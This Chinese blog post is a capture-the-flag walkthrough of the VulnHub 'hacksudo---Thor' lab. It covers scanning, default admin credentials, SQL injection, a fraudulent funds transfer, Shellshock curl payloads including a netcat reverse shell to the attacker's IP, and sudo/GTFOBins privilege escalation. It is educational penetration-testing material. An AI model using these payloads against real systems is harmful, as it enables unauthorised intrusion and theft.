首页 > 其他分享 >打靶记录10——hacksudo---Thor

打靶记录10——hacksudo---Thor

时间:2024-08-14 18:38:15浏览次数:13  
标签:cgi 10 shell hacksudo sudo 打靶 192.168 漏洞 bin

靶机:

https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip

难度:

目标:

  • 取得root权限+flag

涉及攻击方法:

  • 主机发现
  • 端口扫描
  • Web目录爬取
  • 开源源码泄露
  • 默认账号密码
  • SQL注入
  • 破壳漏洞
  • GTFOBins提权

主机发现:

sudo arp-scan -l
image.png

端口扫描和服务发现

sudo nmap -p- 192.168.31.28
image.png
21端口是filtered状态,22、80端口是开放状态
sudo nmap -p22,80 -sV -sC 192.168.31.28
image.png
访问80端口的Web页面
image.png
Ctrl + U 查看源代码,发现一个/images路径
image.png
但是这些图片对我们没有啥帮助
image.png
news页面发现一个注释<!-- cgi-bin ---!>cgi是一种可以在Web服务器端使用外部应用程序来处理客户端提交的请求的一种开发技术
image.png
如果使用了cgi技术,那么在服务器下就会存在一个/cgi-bin/目录,访问目录发现403拒绝访问,但是不代表我访问具体文件的时候也拒绝,如果我知道具体文件名的话
image.png

目录扫描

sudo dirsearch -u http://192.168.31.28/,发现README.md
image.png
发现一个开源的项目,Web应用程序的源码托管在Github上面,可以进行白盒测试https://github.com/zakee94/online-banking-system/
image.png
发现默认的账号密码,但是在首页登录失败,似乎它修改了
image.png
发现/admin_login.php路径
image.png
访问发现是Administrator的登录界面,输入刚刚在Github上面发现的默认账号密码admin/password123成功登录
image.png
image.png
Add Customer那里随便输入一点数据然后点击提交
image.png
出现SQL语句报错,这里存在SQL注入漏洞,但是无法通过它突破目标边界,拿到操作系统的Shell,所以就不演示攻击手段了
image.png
点击Manage Customers发现四个账号,可以查看账号的信息,其实这里也存在SQL注入漏洞,但是也是无法突破边界
image.png
image.png
继续在github查看源代码,在customer这个表里面存在unamepwd字段
image.png
然后会默认插入一些字段
image.png
分析发现了四个默认插入表里的账号密码
image.png

'zakee94','nafees123'
'salman','salman123'
'tushar','tushar123'
'jon','snow123'

和我们在Manage Customers里看到的一样
image.png
然后我们回到首页直接尝试登录zakee94账号
image.png
发现有转账记录,那我作为一个攻击者,也能进行转账的操作,我可以在这个银行自己创建一个账号,然后给我转账
image.png
尝试给Jon转账,转个2000000试试
image.png
image.png
点击Submit,出现Success成功转账,直接把钱给偷走了
image.png
image.png

学习记录:

作为一个安全从业人员,一个渗透测试工程师,通常都会去关注操作系统那些个可能被攻击者直接进入我操作系统,直接完全控制我操作系统的这些个技术类的漏洞类型很关注,但是往往很多人对这种业务逻辑层面的漏洞关注程度是不够的,而往往这种业务逻辑层面的漏洞会给企业带来直接的经济损失,所以大家在搞系统维护,安全建设相关工作的时候一定要注重技术性漏洞的同时,也要注重业务逻辑层面的漏洞。

破壳漏洞(Shellshock):

bash这种shell类型是有一个环境变量的概念的,而且每个人可以手动的定义这个环境变量,env命令查看环境变量
image.png
在我们编写bashshell脚本的时候,我们通常还可以在shell脚本中去定义一些函数,将一些我们需要重复调用的指令的集合把它定义成一个固定的函数,接下来如果我们想重复执行这一系列的操作的时候,就可以执行这个函数
w() { echo "Hello $USER, today is date:"; date; }
image.png
sudo dirsearch -u http://192.168.31.28/cgi-bin/ -f -e cgi,sh
image.png
500服务器错误响应码,说明服务器存在这个文件,但是由于我们没有提供正确的参数的变量和赋值,从而导致服务器不知道该怎么继续处理我们的请求。
那我们用nmap的脚本来进行扫描
sudo nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.31.28
image.png
发现存在漏洞并且可以利用,还给出了CVE的编号,那再看看backup.cgi文件
sudo nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 192.168.31.28发现也存在漏洞
image.png
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" \http://192.168.31.28/cgi-bin/shell.sh通过这条命令确定这台服务器可以执行操作系统指令
image.png

反弹shell

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'nc -e /bin/bash 192.168.31.26 4444'" \http://192.168.31.28/cgi-bin/shell.sh
image.png
按照惯例升级一下shellpython3 -c "import pty;pty.spawn('/bin/bash')"
image.png

提权:

sudo -l查看sudo的权限是否存在漏洞
image.png
发现(thor) NOPASSWD: /home/thor/./hammer.sh
image.png
那么我们切换到thor账号并执行这条指令sudo -u thor /home/thor/./hammer.sh,发现你一个输入的地方类似用户名,可以随便输入,第二个输入的地方会执行系统命令并显示,那我们直接输入bash来生成一个shell,成功获得thorshell
image.png
然后sudo -l查看配置文件,发现(root) NOPASSWD: /usr/bin/cat, /usr/sbin/service
image.png
查看开源的GTFOBins网站的提权方法,发现可以sudo service ../../bin/sh来提权
image.png
image.png
输入sudo service ../../bin/sh成功提权
image.png
image.png
image.png

标签:cgi,10,shell,hacksudo,sudo,打靶,192.168,漏洞,bin
From: https://www.cnblogs.com/Fab1an/p/18359560

相关文章

  • OpenCloudOS 8.10 发布:全面兼容企业级 Linux 生态 ,引入更多新 module
    2024年8月,OpenCloudOS社区年度新版本OpenCloudOS8.10正式发布。全面兼容RHEL 8.10用户态包,引入Python3.12软件包,更新GCCToolset13、LLVMToolset17,RustToolset1.75.0,GoToolset1.21.0等编译器和开发工具。OpenCloudOS8.10采用Kernel5.4LTS版本(内核小......
  • 《DNK210使用指南 -CanMV版 V1.0》第十九章 machine.PWM类实验
    第十九章machine.PWM类实验1)实验平台:正点原子DNK210开发板2)章节摘自【正点原子】DNK210使用指南-CanMV版V1.03)购买链接:https://detail.tmall.com/item.htm?&id=7828013987504)全套实验源码+手册+视频下载地址:http://www.openedv.com/docs/boards/k210/ATK-DNK210.html5)正......
  • SQLServer 错误: 8646,在数据库 'msdb',表 1077578877 的索引 ID 1 中找不到索引条目
    一台非生产服务器,磁盘被打满了,刚开始以为只是正常的磁盘使用增长满了,就清理了一部分空间出来,没过一会,就又满了,排查到sqlserver的错误日志文件一直在增 同时查看sqlserver错误日志,大量报错日志:[298]SQLServer错误:8646,在数据库'msdb',表1077578877的索引ID1中找不到索......
  • (CF 10D)最长公共上升子序列(LCIS)(要求输出序列) - 题解
    最长公共上升子序列(LCIS)原题链接:CodeForces、洛谷时间限制:C/C++1000MS,其他语言2000MS内存限制:C/C++256MB,其他语言512MB描述给定两个整数序列,写一个程序求它们的最长上升公共子序列。当以下条件满足的时候,我们将长度\(N\)的序列\(S_1,S_2,...,S_N\)称为长度为\(M......
  • AP5127 DC-DC降压恒流IC 输入12-100V 输出2.5A LED车灯与手电筒方案
    产品描述AP5127是一款PWM工作模式,高效率、外围简单、内置功率管,适用于12-100V输入的高精度降压LED恒流驱动芯片。输出最大功率可达25W,最大电流2.5A。AP5127可实现全亮/半亮功能切换,通过MODE切换:全亮/半亮/循环模式。AP5127工作频率固定在140KHZ,同时内置抖频......
  • [1041] JavaScript Tutorial
    ref:https://www.w3schools.com/js/default.aspJSTutorialJSHOMEJSIntroductionJSWhereToJSOutputJSStatementsJSSyntaxJSCommentsJSVariablesJSLetJSConstJSOperatorsJSArithmeticJSAssignmentJSDataTypesJSFunctionsJSObjectsJSObj......
  • yum失效后Centos7 安装编译 fresswitch 1.10.8
    一、yum替换Centos7在2024.7月已停止yum服务,需替换为国内yum1、先备份mv/etc/yum.repos.d/CentOS-Base.repo/etc/yum.repos.d/CentOS-Base.repo.bak2、替换成yum阿里源curl-o/etc/yum.repos.d/CentOS-Base.repohttp://mirrors.aliyun.com/repo/Centos-7.repo3、......
  • 2024“钉耙编程”中国大学生算法设计超级联赛(8)1006 cats 的最小生成树
    题目大意:给出有\(n\)个点\(m\)条边的图,接下来进行若干次操作,每次操作取出当前图的最小生成树,然后删去这些构成最小生成树的边,知道该图不连通,输出每条边在第几次操作时被删除思路:由于构成最小生成树的边数是\(n-1\)条边,所以最多操作次数为\(\lfloor\frac{m}{n-1}\rfloor\),每次......
  • Cisco Secure Firewall 3100 Series FTD Software 7.4.2 & ASA Software 9.20.3 发布
    CiscoSecureFirewall3100SeriesFTDSoftware7.4.2&ASASoftware9.20.3发布下载-思科防火墙系统软件FirepowerThreatDefense(FTD)Software请访问原文链接:CiscoSecureFirewall3100SeriesFTDSoftware7.4.2&ASASoftware9.20.3,查看最新版。原创作品,转载请......
  • 105 判断图是否同构
    //105判断图是否同构.cpp:此文件包含"main"函数。程序执行将在此处开始并结束。///*http://oj.daimayuan.top/course/14/problem/600给你两张无向简单图,保证两张图的顶点数和边数相同,请判断这两张图是否同构。如果同构输出Yes,否则输出No。输入格式第一行两个整......